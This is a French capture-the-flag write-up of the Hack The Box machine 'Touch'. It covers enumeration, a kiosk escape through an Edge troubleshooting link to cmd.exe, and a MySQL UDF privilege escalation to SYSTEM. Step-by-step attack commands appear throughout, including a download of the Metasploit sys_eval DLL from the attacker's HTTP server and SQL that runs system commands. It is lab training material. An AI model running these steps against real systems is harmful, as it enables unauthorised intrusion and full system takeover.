HackTheBox | Touch
Touch se déroule sur une borne d'enregistrement HTB Airways. Je commence par son portail de gestion, où je récupère un compte Windows pour me connecter en RDP. La session s'ouvre sur le kiosque, il me reste à trouver comment lancer un terminal.
Pour la privesc, je passe par MySQL. Le service tourne sous LocalSystem et son mot de passe root traîne dans un script de maintenance. Une UDF me permet ensuite d'exécuter des commandes sous NT AUTHORITY\SYSTEM.
Je me suis aidé du writeup de 0xOGH pour résoudre la machine.
Reconnaissance réseau
Je démarre la machine depuis Hack The Box et récupère son adresse IP, 10.129.200.0. Une fois connecté au VPN HTB, je vérifie qu'elle répond au ping.
ping -c 5 10.129.200.0
Pour info : un TTL proche de 128 est généralement associé aux systèmes Windows. Sa valeur diminue à chaque routeur traversé, ce qui explique une valeur de 127. Les
64 bytesindiquent la taille de la réponse ICMP reçue.
Je scanne ensuite les ports TCP avec Nmap.
sudo nmap -sS -n -Pn -p- --min-rate 5000 --max-retries 1 -T4 --open -v 10.129.200.0
Le scan révèle notamment les ports 135, 3389, 5985 et 8443. Le port 3389 correspond à RDP, 5985 à WinRM et 8443 héberge une application web. Je relance un scan ciblé avec la détection de version et les scripts par défaut :
sudo nmap -sV -sC -n -Pn -p 135,3389,5985,8443 10.129.200.0
Exploration des services web
Sur http://10.129.200.0:8443, j'arrive sur la page de connexion de Nexion DeviceHub.
Je lance Gobuster sur la racine du site. Ici, -b 302,404 masque les redirections et les pages introuvables pour faire ressortir les autres réponses.
gobuster dir -u http://10.129.200.0:8443/ -w /opt/pentest/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -b 302,404
Gobuster trouve /login en 200 et /api en 403. Je continue l'énumération sous /api pour chercher ses endpoints.
gobuster dir -u http://10.129.200.0:8443/api -w /opt/pentest/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -b 302,404
Je trouve /api/status en 200 et /api/scan en 405. Le 405 indique que /api/scan refuse la méthode GET utilisée par Gobuster. J'ouvre /api/status, qui répond sans authentification.
La réponse contient le numéro de série NX-DH-2024-B7042. Le code source de la page de connexion indique que le numéro de série sert de mot de passe par défaut. Je le teste et j'arrive sur le dashboard.
Les deux périphériques utilisent le même compte, KioskUser. Un clic sur show révèle le mot de passe. Comme le port RDP est ouvert, je teste ces identifiants pour me connecter à Windows.
Connexion RDP et accès à une console Windows
Je me connecte en RDP avec le compte KioskUser via FreeRDP et XQuartz sur Mac.
xfreerdp3 /v:10.129.200.0 /u:KioskUser /cert:ignore /dynamic-resolution +clipboard
Je saisis le mot de passe du dashboard et la session s'ouvre sur la borne.
L'écran occupe toute la session, je n'ai pas de bureau Windows classique. Je commence le parcours d'enregistrement avec la réservation KS7X2M et le nom Crawford, donnés sur la fiche de la machine. À l'étape du passeport, le scanner ne parvient pas à lire le document.
Depuis le dashboard DeviceHub, j'utilise le bouton Power Off du scanner. De retour dans le kiosque, l'erreur devient une fenêtre Windows : Nexion DocReader SR-4200 has stopped responding, avec le code SCN-ERR-4092 et un lien de dépannage.
Le lien ouvre Edge. Dans la barre d'adresse, je saisis file:///C:/Windows/System32/cmd.exe. Je récupère cmd.exe dans les téléchargements, puis je clique sur Open file pour lancer le terminal.
Je récupère le flag user dans C:\Users\KioskUser\Desktop\user.txt.
Je regarde ensuite les groupes du compte, ses privilèges et la version de Windows.
whoami /groups
whoami /priv
systeminfo
KioskUser appartient à Remote Desktop Users, Users et au groupe local Printer Administrators. Le jeton est au niveau d'intégrité Medium, je n'ai pas de session administrateur.
systeminfo identifie KIOSK-042, sous Windows 11 Pro, build 26100, en x64. La liste des privilèges ne contient pas SeImpersonatePrivilege. Je poursuis du côté des services et des applications installées.
Recherche d'une élévation de privilèges
Je regarde les ports en écoute et les services actifs pour repérer ce qui n'était pas accessible depuis le scan externe.
netstat -ano | findstr LISTENING
tasklist /svc
netstat montre notamment 127.0.0.1:3306, avec le PID 3512. La capture de tasklist /svc identifie mysqld.exe et le service MySQL80, mais avec le PID 2400. Les PID diffèrent entre les deux captures, je ne peux donc pas les faire correspondre directement. Je vérifie la configuration de MySQL80.
Pour connaître son chemin et son compte d'exécution :
sc qc MySQL80
Le service lance C:\MySQL\bin\mysqld.exe avec la configuration C:\MySQL\my.ini. SERVICE_START_NAME vaut LocalSystem, les commandes exécutées par ce service auront donc les droits SYSTEM.
Reste à voir si je peux lui faire charger un fichier ou exécuter une commande avec ces droits.
Je regarde la configuration et les permissions de my.ini.
type C:\MySQL\my.ini
icacls C:\MySQL\my.ini
MySQL écoute sur 127.0.0.1:3306, je peux m'y connecter depuis Windows. netstat montre aussi le port 33060 sur toutes les interfaces. Les utilisateurs authentifiés ont le droit de modification (M) sur my.ini, mais je n'ai pas besoin de le modifier pour la suite.
Connexion à la base MySQL
Le writeup indique le fichier C:\Program Files\HTB Airways\Kiosk\packages\backend\src\database\index.ts pour les identifiants du compte kiosk_app. Je les utilise avec le client MySQL local.
C:\MySQL\bin\mysql.exe -u kiosk_app -p -h 127.0.0.1 -P 3306
Je vérifie le compte connecté et les bases accessibles.
SELECT USER(), CURRENT_USER();
SHOW DATABASES;
Je suis connecté en kiosk_app@localhost. La base applicative htb_airways apparaît avec les deux bases système information_schema et performance_schema.
Je liste les tables de htb_airways. On y retrouve les réservations, les passagers, les scans de documents et la table _htb_staff.
USE htb_airways;
SHOW TABLES;
Je vérifie aussi ses droits.
SHOW GRANTS;
ALL PRIVILEGES porte uniquement sur htb_airways.*. La ligne USAGE ON *.* n'accorde aucun privilège global supplémentaire. Je peux gérer la base applicative, mais ce compte ne suffit pas pour enregistrer l'UDF au niveau du serveur.
Identifiants administrateur dans un script de maintenance
Je quitte MySQL pour chercher des identifiants dans les scripts .bat qui appellent mysql.
findstr /S /I /M /C:"mysql" C:\*.bat
Je trouve C:\ProgramData\HTB Airways\refresh-dates.bat. Le même fichier ressort sous C:\Users\All Users, qui pointe vers ProgramData.
Dans le batch, le mot de passe root MySQL est écrit en clair après -p. Il sert à exécuter refresh-dates.sql.
Je me reconnecte en root MySQL avec ce mot de passe.
C:\MySQL\bin\mysql.exe -u root -p
Vérification des privilèges et des plugins MySQL
Je vérifie les droits de root, le dossier des plugins et les restrictions sur les fichiers.
SHOW GRANTS;
SELECT user, host, File_priv FROM mysql.user WHERE user = 'root';
SHOW VARIABLES LIKE 'plugin_dir';
SHOW VARIABLES LIKE 'secure_file_priv';
File_priv vaut Y, plugin_dir pointe vers C:\MySQL\lib\plugin\ et secure_file_priv vaut NULL.
Avec secure_file_priv = NULL, je ne peux pas déposer la DLL par un export SQL. Je vais la copier depuis Windows dans le dossier des plugins.
Je vérifie les permissions de ce dossier avec icacls.
icacls "C:\MySQL\lib\plugin"
Mes notes indiquent que KioskUser peut écrire dans ce dossier. Je n'ai pas gardé la capture de cette vérification, celle de my.ini montre les droits d'un autre fichier.
Je vérifie aussi l'architecture Windows.
echo %PROCESSOR_ARCHITECTURE%
La réponse est AMD64, je prends donc la DLL 64 bits.
Chargement d'une UDF MySQL
La DLL lib_mysqludf_sys_64.dll fournit l'UDF sys_eval. Une fois chargée dans MySQL, cette fonction lance une commande système et renvoie sa sortie.
Avec le compte root MySQL et l'accès en écriture au dossier des plugins, je peux charger la DLL dans le service qui tourne sous LocalSystem.
La DLL est fournie avec Metasploit. Depuis son dossier, je lance un serveur HTTP sur mon adresse VPN, 10.10.14.34.
cd /opt/pentest/tools/metasploit-framework/data/exploits/mysql
python3 -m http.server 8000 --bind 10.10.14.34
Depuis le CMD de la cible Windows, je télécharge la DLL dans le répertoire temporaire :
curl.exe -fL http://10.10.14.34:8000/lib_mysqludf_sys_64.dll -o "%TEMP%\lib_mysqludf_sys_64.dll"
Le téléchargement passe, le serveur renvoie 200 et la DLL fait 7 168 octets.
Je copie ensuite le fichier vers le répertoire des plugins indiqué par MySQL :
copy "%TEMP%\lib_mysqludf_sys_64.dll" "C:\MySQL\lib\plugin\lib_mysqludf_sys_64.dll"
Je me reconnecte en tant que root MySQL et enregistre la fonction :
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';
SELECT name, dl FROM mysql.func;
SONAME indique la DLL à charger, puis la requête sur mysql.func permet de retrouver la fonction enregistrée.
Exécution de commandes sous SYSTEM
Je lance whoami via l'UDF pour vérifier avec quels droits la commande s'exécute.
SELECT sys_eval('whoami');
MySQL affiche le résultat en hexadécimal :
0x6E7420617574686F726974795C73797374656D
Pour le lire directement dans MySQL, je convertis la sortie en texte.
SELECT CONVERT(sys_eval('whoami') USING utf8mb4);
NT AUTHORITY\SYSTEM, la privesc a fonctionné. Je récupère le flag root avec sys_eval.
SELECT CONVERT(sys_eval('type C:\\Users\\Administrator\\Desktop\\root.txt') USING utf8mb4);
Conclusion
Sur Touch, le portail DeviceHub me donne les identifiants de KioskUser, puis le lien de dépannage du scanner me permet de sortir du kiosque et de lancer un terminal. À ce stade, je récupère le flag user.
Pour le flag root, tout passe par MySQL. Le mot de passe dans refresh-dates.bat me donne accès au compte root de la base. Avec l'écriture dans le dossier des plugins, je peux charger sys_eval et lancer des commandes sous SYSTEM, puisque le service tourne sous LocalSystem.
Je retiens surtout le passage du kiosque au navigateur. Même avec une interface verrouillée en plein écran, le lien de support laisse accès aux fichiers locaux et permet de lancer cmd.exe. Une fois dans Windows, les identifiants en clair et les permissions du dossier MySQL font le reste.

































